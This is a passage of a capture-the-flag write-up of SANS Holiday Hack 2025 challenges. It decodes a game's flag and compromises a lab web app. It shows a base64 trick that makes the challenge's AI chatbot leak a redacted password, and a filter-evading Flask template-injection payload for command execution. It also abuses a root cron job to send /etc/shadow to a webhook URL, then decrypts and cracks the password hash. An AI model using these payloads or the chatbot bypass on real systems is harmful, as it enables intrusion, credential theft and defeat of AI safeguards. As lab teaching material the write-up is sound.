    Mountain('Mount Erciyes', 12848, 10000, 12000, b'n\xad\xb4l^I\xdb\xe1\xd0\x7f\x92\x92\x96\x1bq\xca`PvWg\x85\xb21^\x93F\x1a\xee'),
    Mountain('Dragonmount', 16282, 15500, 16000, b'Z\xf9\xdf\x7f_\x02\xd8\x89\x12\xd2\x11p\xb6\x96\x19\x05x))v\xc3\xecv\xf4\xe2\\\x9a\xbe\xb5')]
 
class ObstacleSet(list):
Unsupported opcode: MAKE_CELL (225)
    pass
# WARNING: Decompyle incomplete
 
 
def SetFlag(mountain, treasure_list):
    global flag_text_surface
    product = 0
    for treasure_val in treasure_list:
        product = product << 8 ^ treasure_val
    random.seed(product)
    decoded = []
    for i in range(0, len(mountain.encoded_flag)):
        r = random.randint(0, 255)
        decoded.append(chr(mountain.encoded_flag[i] ^ r))
    flag_text = 'Flag: %s' % ''.join(decoded)
    print(flag_text)
    flag_text_surface = flagfont.render(flag_text, False, pygame.Color('saddle brown'))
 
 
def main():
Unsupported opcode: TO_BOOL (123)
    victory_mode = False
    running = True
    reset_mode = True
# WARNING: Decompyle incomplete
 
if __name__ == '__main__':
    main()
return None

When I try to read the flag for Mount Snow by calling the GetTreasureLocations method and passing the result to the SetFlag function, it only prints gibberish, so there is most likely some code missing.

To print the full picture I also use pycdas to generate the bytecode in a more readable form and look into the calculations there. Within the main function, I can spot the corresponding code. If the obstacle the skier hit is a treasure (1846), it multiplies the first part of the collided row, the height, with the mountain_width and adds the width of the treasure (1912-1936 ). The result is appended to the treasures_collected list (1890). Also in the output, there is the hardcoded value of 1000 for mountain_width.

1830    STORE_FAST_STORE_FAST           205: collided_object, collided_row
1832    STORE_FAST                      14: collided_row_offset
1834    LOAD_FAST                       12: collided_object
1836    LOAD_GLOBAL                     96: Obstacles
1846    LOAD_ATTR                       98: TREASURE
1866    COMPARE_OP                      88 (==)
1870    POP_JUMP_IF_FALSE               68 (to 2008)
1874    LOAD_CONST                      0: None
1876    LOAD_FAST                       13: collided_row
1878    LOAD_CONST                      7: 1
1880    BINARY_SUBSCR
1884    LOAD_FAST                       14: collided_row_offset
1886    STORE_SUBSCR
1890    LOAD_FAST_CHECK                 4: treasures_collected
1892    LOAD_ATTR                       101: append
1912    LOAD_FAST                       13: collided_row
1914    LOAD_CONST                      8: 0
1916    BINARY_SUBSCR
1920    LOAD_GLOBAL                     102: mountain_width
1930    BINARY_OP                       5 (*)
1934    LOAD_FAST                       14: collided_row_offset
1936    BINARY_OP                       0 (+)
1940    CALL                            1
1948    POP_TOP
1950    LOAD_GLOBAL                     105: NULL + len
1960    LOAD_FAST                       4: treasures_collected
1962    CALL                            1
1970    LOAD_CONST                      9: 5
1972    COMPARE_OP                      88 (==)
1976    POP_JUMP_IF_FALSE               14 (to 2006)
1980    LOAD_GLOBAL                     107: NULL + SetFlag
1990    LOAD_FAST_CHECK                 6: mnt
1992    LOAD_FAST                       4: treasures_collected

With a small Python script the recycles most of the previously generated code, I can decode the flag for Mount Snow and use it to fulfill the objective.

solve.py
import binascii
import random
 
 
class Mountain:
 
    def __init__(self, name, height, treeline, yetiline, encoded_flag):
        self.name = name
        self.height = height
        self.treeline = treeline
        self.yetiline = yetiline
        self.encoded_flag = encoded_flag
        self.treasures = self.GetTreasureLocations()
 
    def GetTreasureLocations(self):
        locations = { }
        random.seed(binascii.crc32(self.name.encode('utf-8')))
        prev_height = self.height
        prev_horiz = 0
        for i in range(0, 5):
            e_delta = random.randint(200, 800)
            h_delta = random.randint(int(0 - e_delta / 4), int(e_delta / 4))
            locations[prev_height - e_delta] = prev_horiz + h_delta
            prev_height = prev_height - e_delta
            prev_horiz = prev_horiz + h_delta
        return locations
 
Mountains = [
    Mountain('Mount Snow', 3586, 3400, 2400, b'\x90\x00\x1d\xbc\x17b\xed6S"\xb0<Y\xd6\xce\x169\xae\xe9|\xe2Gs\xb7\xfdy\xcf5\x98'),
    Mountain('Aspen', 11211, 11000, 10000, b'U\xd7%x\xbfvj!\xfe\x9d\xb9\xc2\xd1k\x02y\x17\x9dK\x98\xf1\x92\x0f!\xf1\\\xa0\x1b\x0f'),
    Mountain('Whistler', 7156, 6000, 6500, b'\x1cN\x13\x1a\x97\xd4\xb2!\xf9\xf6\xd4#\xee\xebh\xecs.\x08M!hr9?\xde\x0c\x86\x02'),
    Mountain('Mount Baker', 10781, 9000, 6000, b'\xac\xf9#\xf4T\xf1%h\xbe3FI+h\r\x01V\xee\xc2C\x13\xf3\x97ef\xac\xe3z\x96'),
    Mountain('Mount Norquay', 6998, 6300, 3000, b'\x0c\x1c\xad!\xc6,\xec0\x0b+"\x9f@.\xc8\x13\xadb\x86\xea{\xfeS\xe0S\x85\x90\x03q'),
    Mountain('Mount Erciyes', 12848, 10000, 12000, b'n\xad\xb4l^I\xdb\xe1\xd0\x7f\x92\x92\x96\x1bq\xca`PvWg\x85\xb21^\x93F\x1a\xee'),
    Mountain('Dragonmount', 16282, 15500, 16000, b'Z\xf9\xdf\x7f_\x02\xd8\x89\x12\xd2\x11p\xb6\x96\x19\x05x))v\xc3\xecv\xf4\xe2\\\x9a\xbe\xb5')]
    
  
def SetFlag(mountain, treasure_list):
    product = 0
    for treasure_val in treasure_list:
        product = product << 8 ^ treasure_val
    random.seed(product)
    decoded = []
    for i in range(0, len(mountain.encoded_flag)):
        r = random.randint(0, 255)
        decoded.append(chr(mountain.encoded_flag[i] ^ r))
    flag_text = 'Flag: %s' % ''.join(decoded)
    print(flag_text)
 
treasures = [x*1000+y for x,y in Mountains[0].GetTreasureLocations().items()]
SetFlag(Mountains[0], treasures)

frosty_yet_predictably_random

Snowblind Ambush

Head to the Hotel to stop Frosty’s plan. Torkel is waiting at the Grand Web Terminal.

After going to the challenge page and using GateXOR to perform time travel, I get an IP that I scan with nmap. Accessing port 8080 returns the actual challenge.

Frosty's Neighborhood Chilling Dashboard

On the bottom right corner I get access to the AI chat bot. Complaining about a forgotten password reveals the username admin, but the word password gets replaced with REDACTED. Instructing the AI to answer with a base64 encoded version returns YW5fZWxmX2FuZF9wYXNzd29yZF9vbl9hX2JpcmQ and I can decode it as an_elf_and_password_on_a_bird.

Chat bot leaking the admin password as base64 encoded string

After logging in, I get access to the application, the dashboard and a way to modify the profile of the current user. It allows me to upload a new profile picture and change the password. Uploading a dummy picture seems to work and I’m redirected to the /dashboard, but this time the URL also contains the parameter username. Changing the value from admin to ryuki reflects the value on the page. From the Server header I know I’m dealing with a Flask server and therefore check for server-side template injection with {{ 7 * 7 }}.

Application is calculating the value in the injected payload

The response contains 49, so it’s vulnerable. Unfortunately getting command injection is not as easy as thought, because the application filters certain characters, like . or _, making a payload like {{ os.system }} impossible. To work around this, I use the attr filter to access attributes instead of relying on ., and introduce another URL parameter called __ that I can use with request|attr('args')|last to add the double underscore in my payload.

request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('id').read()

With those modifications I go from the previous line to the following payload.

request|attr('application')|attr(request|attr('args')|last + 'globals' + request|attr('args')|last)|attr(request|attr('args')|last + 'getitem' + request|attr('args')|last)(request|attr('args')|last + 'builtins' + request|attr('args')|last)|attr(request|attr('args')|last + 'getitem' + request|attr('args')|last)(request|attr('args')|last + 'import'+ request|attr('args')|last)('os')|attr('popen')('id')|attr('read')()

Sending the payload as username with &__=wow renders www-data on the page. Next fetch a reverse shell payload from my VPS and pipe the contents to Bash. Considering the dots in the IP address are also stripped, I use the decimal notation for the IP. This drops me into a interactive shell.

$ ./pspy64
--- SNIP ---
2025/12/31 12:53:02 CMD: UID=0     PID=438    | /usr/sbin/CRON 
2025/12/31 12:53:02 CMD: UID=0     PID=439    | /usr/local/bin/python3 /var/backups/backup.py 
2025/12/31 12:53:02 CMD: UID=0     PID=440    | /usr/local/bin/python3 /var/backups/backup.py
2025/12/31 12:53:02 CMD: UID=0     PID=442    | /bin/sh -c ls -la /dev/shm/ | grep -E '\.frosty[0-9]+$' | awk -F " " '{print $9}'
--- SNIP ---
2025/12/31 12:54:01 CMD: UID=0     PID=450    | /usr/sbin/CRON 
2025/12/31 12:54:01 CMD: UID=0     PID=451    | /bin/sh -c root    /var/backups/backup.py & 
2025/12/31 12:54:01 CMD: UID=0     PID=452    | /usr/local/bin/python3 /var/backups/backup.py
2025/12/31 12:54:01 CMD: UID=0     PID=442    | /bin/sh -c ls -la /dev/shm/ | grep -E '\.frosty[0-9]+$' | awk -F " " '{print $9}'

Running pspy shows the root user executing /var/backups/backup.py every minute. The Python script is also readable in my current context, so I can have a look what it does.

/var/backups/backup.py
#!/usr/local/bin/python3
from PIL import Image
import math
import os
import re
import subprocess
import requests
import random
 
cmd = "ls -la /dev/shm/ | grep -E '\\.frosty[0-9]+$' | awk -F \" \" '{print $9}'"
files = subprocess.check_output(cmd, shell=True).decode().strip().split('\n')
 
BLOCK_SIZE = 6
random_key = bytes([random.randrange(0, 256) for _ in range(0, BLOCK_SIZE)])
def boxCrypto(block_size, block_count, pt, key):
    currKey = key
    tmp_arr = bytearray()
    for i in range(block_count):
        currKey = crypt_block(pt[i*block_size:(i*block_size)+block_size], currKey, block_size)
        tmp_arr += currKey
    return tmp_arr.hex()
 
def crypt_block(block, key, block_size):
    retval = bytearray()
    for i in range(0,block_size):
        retval.append(block[i] ^ key[i])
    return bytes(retval)
 
def create_hex_image(input_file, output_file="hex_image.png"):
    with open(input_file, 'rb') as f:
        data = f.read()
 
    pt = data + (BLOCK_SIZE - (len(data) % BLOCK_SIZE)) * b'\x00'
    block_count = int(len(pt) / BLOCK_SIZE)
    enc_data = boxCrypto(BLOCK_SIZE, block_count, pt, random_key)
    enc_data = bytes.fromhex(enc_data)
 
    file_size = len(enc_data)
    width = int(math.sqrt(file_size))
    height = math.ceil(file_size / width)
 
    img = Image.new('RGB', (width, height), color=(0, 0, 0))
    pixels = img.load()
 
    for i, byte in enumerate(enc_data):
        x = i % width
        y = i // width
        if y < height:
            pixels[x, y] = (0, 0, byte)
 
    img.save(output_file)
    print(f"Image created: {output_file}")
 
for file in files:
    if not file:
        continue
 
    with open(f"/dev/shm/{file}", 'r') as f:
        addr = f.read().strip()
 
    if re.match(r'^https?://[a-zA-Z0-9][a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', addr):
        exfil_file = b'\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77'.decode()
 
        if os.path.isfile(exfil_file):
 
            try:
                create_hex_image(exfil_file, output_file="/dev/shm/.tmp.png")
                data = bytearray()
                with open(f"/dev/shm/.tmp.png", 'rb') as f:
                    data = f.read()
                os.remove("/dev/shm/.tmp.png")
                requests.post(
                    url=addr,
                    data={"secret_file": data},
                    timeout=10,
                    verify=False
                )
            except requests.exceptions.RequestException:
                pass
    else:
        print(f"Invalid URL format: {addr} - request ignored")
 
    # Remove the file
    os.remove(f"/dev/shm/{file}")w

It first checks /dev/shm for files that conform to the regex \\.frosty[0-9]+$. For every match the contents of that file are read and compared against the another regex that looks for valid URLs. Then the exfil_file, decoded to /etc/shadow, is encrypted and then sent as POST request to the URL specified in the file.

So if I place a valid URL into a file in /dev/shm, I should get the contents of the shadow file in an encrypted form. So I add the URL to a listener in \.frosty1 and wait for a connection.

echo 'https://webhook.site/684c4191-a588-4ff5-844a-8638605c9061' > /dev/shm/\\.frosty1

As soon as the cronjob runs, there’s a new request with the following URL-encoded payload.

secret_file=%89PNG%0D%0A%1A%0A%00%00%00%0DIHDR%00%00%00%19%00%00%00%1B%08%02%00%00%00%06C%B3%3F%00%00%03%D7IDATx%9C%A5%D4%5BL%16%04%00%86%E1%E7%FF%F9Q%A7%28%02%991%14%B2%2142%25%24%B51%8F%CB%E3%E6%12g%99%DA%E6i%CDC%A6%95k3%D7%D26%E7l%9An%D6t%D9Z5E%C9%92%D2%2C%99%A9%99%8A%F3%7C%00%3C%A5%882%10%11%14%14%E4+%02%5D4%B7%EE%FB%AE%DF%8Bo%EF%C5%1B+%87%1AZ%F9%8A%23%1C%A6%98%04F2%97%5E%8C%24%9C%16%8AY%CE.%F6Q%C7c%22%D9%C1%5B%0C%E4J%90%F6L%E7%1D%A6QK%3CI%3C%26%8D%A5DP%C3q%5E%E44%93%08%92%C1t%3A%B3%8C%EF%E9%C2.%22Bt%A1%1F%D9%F4%A1%82%12%AA%C9e%1E%17%89e%04%DDI%27%9B%3BDPI%1B%F3%B8E%07z3%9E%0B%01%D2%F8%8Ez%92%B8L2%F1%14%D1%9D%0B%3C%CFURXM41%DC+%99%3D%8C%A6%95K%3CC%19%85%01%D6%D2%40%1FJH%E0W%26%12%CE%29%9E%E3%3A%27%C8%A0%89%3E%DCc%1C%99ds%85k%04%19B%7F%F2B%D4%D3%9Bj%5Eg%2C%B9%14R%40%14%C9%CC%A4%80%1FH%E4%3E%19%ACe%01Q%14%D2%C4%9B%CCc%0D%0D%21%12%89%24%8D%F5%7CL7%0A%B9%CFDf%B2%86J%12%E9JO%16%F25%A78%CF%18%3A%F2%29_%B2%85%BE%01%2A%A9f%09%EB9CO%C2%88b%15%1F%90%C3%7Cj%A8c%09%1B%D8D%14%0FHe93H%A6%85v%01V%F2%09%9B%B9F%3B%9AIc%153%E8A%3D%9D%C9%E7C%B2%B8DGZh%A5%94%E9%24q%88%16%A2%83%5C%A0%8E%01%84%13C%80%DFX%C1%28%1AxH%1B%87%A9%23%85Nt%A3%8D%02%5E%E0%2A%87%09%27%92%1F%03l%A1%8A%26%9A%09R%C8%ABt%A2%3D%9D%09%B2%85%E1%3C%A2%EA%3F%8Ff0%80R%3AP%C8%0A~%09p%9Av%84%F33%95L%26%9D%2A%1A%29%E2s%B2%28%24%920r%B8%CB%14BTS%CF0%22%B9G%5D%88%BD%3Cb%04%DB%D9H%04%07%A9c%0C%C9T%D0%CCABd%F0%07k%E8%C4m%F2Hg2%5B%F9%9D%EB%01%B2%29%A5%8Agi%21%99%22z%B2%9E%A9t%E4%0AqTSB2a%24r%958%8E%F2.%01%CA%89%C6%29%86s%88%02J%C8%A7%8D%8F%A8%A5%82%7Cns%94a%9C%E0%1C%95%E4s%9F%A5%D4p%87%9Bd%B12%40g%CE%B1%93%07d%F24%138%C8~Z%E9G-%19%EC%E1%18uL%21%9A%B1%1C%27%97%10I4%91%16+%8Fc%24%92%CF+v3%94q%1C%A7%91%CB%1Ca4%7DHa%1D%09%9Ce0%A3%B8%C2%5Dn%B2%9F%A1A%C2X%C4y%9Ee%27%A9%D4%F3%0D%A9%C4%93%C7%0C%82%14s%96%D9%9C%A1%1B%8Dd%91Jo%0E0%87%0EAn%91%C7%5CN%10G%07%10%C36%062%87%CB%A0%96r%A6%D0%9DAO%98%8D%24%F36%C7%10%A4%8Cr%C6%12%FB%04z%C8k%EC%E56%5D%E8J7%FA%93%CBg%2C%A6%82%EB%8C%E7%00%8D%84%D3%9D%F8%7F%83%FB%17_%F0%1E%E5%FC%CD4%16%F0%06%9Bi%22%93%22%C6%93%C6%5D%DA1%90x%D2%98%CAJ%C2%98%40q%90%11%A4%F0%90%F6%F4%23%81%FEO%BC%F6%25%8E2%CEp%90%D9T%B3%9B%AB%14%B0%9A%5BL%22%40%15s%02%14s%92%F14RK%26%FB%D8%CE%CBD%D2%CCK%9C%E2%0C%994RO%2F6%93%CE%0E%A2%A8%A6%9CI%01%1AxL%2BM%F4b%2BED%F2%90%21L%E5%7Dbi%A6%96%E1%A4%B2%812%DA%13%C6p%26%B0%88%1E%21%B2%19%CC%0D%D6q%8BR%86%81%DBLe%21%3D%89yR%A4x%B6Q%C2%1Cjh%60%16%F3%88%E5%A9%10%AF%D0%C0%26~%E2%24M%94%D2%CC2f%91%40Wr%89f%059%5Cd1%B9%3Cf%19%F3I%21%8CC%D8%40%14%DF%F2%A7%FF%B7%7F%00%8B%24P%D9k9%19%2F%00%00%00%00IEND%AEB%60%82

Now I can look at the encryption code to check for ways to break the encryption. The secret data is stored in the blue channel of the image. For the encryption key it uses a random key of length 6 that is XOR’d with the plain text. Since every shadow file starts with root:$ I can just XOR the first 6 bytes of the cipher text with that to recover the encryption key.

While recycling big parts of the original code, I build a small Python script to decrypt the file after URL-decoding it beforehand and placing it in crypt_image.png.

decrypt.py
#!/usr/bin/env python3
from PIL import Image
 
KNOWN_PLAIN_TEXT = b'root:$'
BLOCK_SIZE=6
 
def extract_cipher_text(path: str) -> bytes:
    img = Image.open(path)
    pixels = img.load()
    width, height = img.size
 
    cipher_text = bytearray()
 
    for y in range(height):
        for x in range(width):
            cipher_text.append(pixels[x, y][2])
 
    return bytes(cipher_text)
 
def decrypt_boxCrypto(cipher_text, key):
    block_count = len(cipher_text) // BLOCK_SIZE
    plain_text = bytearray()
 
    prev = key
    for i in range(block_count):
        block = cipher_text[i * BLOCK_SIZE:(i+1) * BLOCK_SIZE]
        pt_block = bytes(b ^ p for b, p in zip(block, prev))
        plain_text += pt_block
        prev = block
 
    return plain_text
 
 
cipher_text = extract_cipher_text('crypt_image.png')
key = bytearray(BLOCK_SIZE)
 
for i in range(BLOCK_SIZE):
    key[i] = cipher_text[i] ^ KNOWN_PLAIN_TEXT[i]
 
plain_text = decrypt_boxCrypto(cipher_text, key)
print(bytes(plain_text.rstrip(b'\x00')))

Running the script decrypts the hidden contents in the file and prints the shadow file including the hash for the root user. Using john and the rockyou wordlist, the hash cracks after a few moments and I get the password jollyboy that lets me escalate my privileges with su -.

$ python3 decrypt.py
b'root:$5$cRqqIuQIhQBC5fDG$9fO47ntK6qxgZJJcvjteakPZ/Z6FiXwer5lxHrnBuC2:20392:0:99999:7:::\ndaemon:*<SNIP>
 
$ john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha256crypt, crypt(3) $5$ [SHA256 256/256 AVX2 8x])
--- SNIP ---
jollyboy         (?)     
--- SNIP ---

In the /root directory I find the script stop_frosty_plan.sh. It sends a POST request to middleware:5000.

stop_frosty_plan.sh
#!/usr/bin/bash
 
echo "Welcome back, Frosty! Getting cold feet?"
echo "Here is your secret key to plug in your badge and stop the plan:"
curl -X POST "$CHATBOT_URL/api/submit_c05730b46d0f30c9d068343e9d036f80" -H "Content-Type: Application/json" -d "{\"challenge_hash\":\"ec87937a7162c2e258b2d99518016649\"}"
echo ""

Executing the script prints the final flag to the screen.

$ ./stop_frosty_plan.sh 
Welcome back, Frosty! Getting cold feet?
Here is your secret key to plug in your badge and stop the plan:
hhc25{Frostify_The_World_c05730b46d0f30c9d068343e9d036f80}

hhc25{Frostify_The_World_c05730b46d0f30c9d068343e9d036f80}


Final screen after solving all objectives

Footnotes

  1. /etc/config/wireless

  2. Common Attacks

  3. First Run

  4. Making REST calls

  5. Download Files

  6. Overview of indexing in Azure Cosmos DB